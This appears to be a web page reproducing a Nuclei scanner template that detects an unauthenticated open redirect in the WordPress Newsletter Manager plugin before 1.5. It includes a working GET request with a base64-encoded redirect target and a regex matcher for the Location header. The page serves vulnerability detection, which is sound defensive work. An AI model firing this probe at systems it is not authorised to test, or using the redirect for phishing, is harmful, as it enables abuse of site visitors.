newsletter-open-redirect: WordPress Newsletter Manager < 1.5 - Unauthenticated Open Redirect

2025-08-01 WordPress Newsletter Manager PoC Public

Description

WordPress Newsletter Manager < 1.5 is susceptible to an open redirect vulnerability. The plugin used base64 encoded user input in the appurl parameter without validation to redirect users using the header() PHP function, leading to an open redirect issue.

PoC

id: newsletter-open-redirect

info:
  name: WordPress Newsletter Manager < 1.5 - Unauthenticated Open Redirect
  author: dhiyaneshDk
  severity: medium
  description: WordPress Newsletter Manager < 1.5 is susceptible to an open redirect vulnerability. The plugin used base64 encoded user input in the appurl parameter without validation to redirect users using the header() PHP function, leading to an open redirect issue.
  reference:
    - https://wpscan.com/vulnerability/847b3878-da9e-47d6-bc65-3cfd2b3dc1c1
  classification:
    cwe-id: CWE-601
  metadata:
    max-request: 1
  tags: redirect,wp-plugin,newsletter,wp,wpscan,wordpress,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?wp_nlm=confirmation&appurl=aHR0cDovL2ludGVyYWN0LnNo"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4a0a00473045022100d4f59b82e3fdf4799025b95b5c371ee90ab02baae9cdbfce3c55a902b49d215e02204348d4d3d08f19a1c590e9f42488c241468e961c9ba11777b638bd41a9d8754f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/wordpress/newsletter-open-redirect.yaml

References

Related Vulnerabilities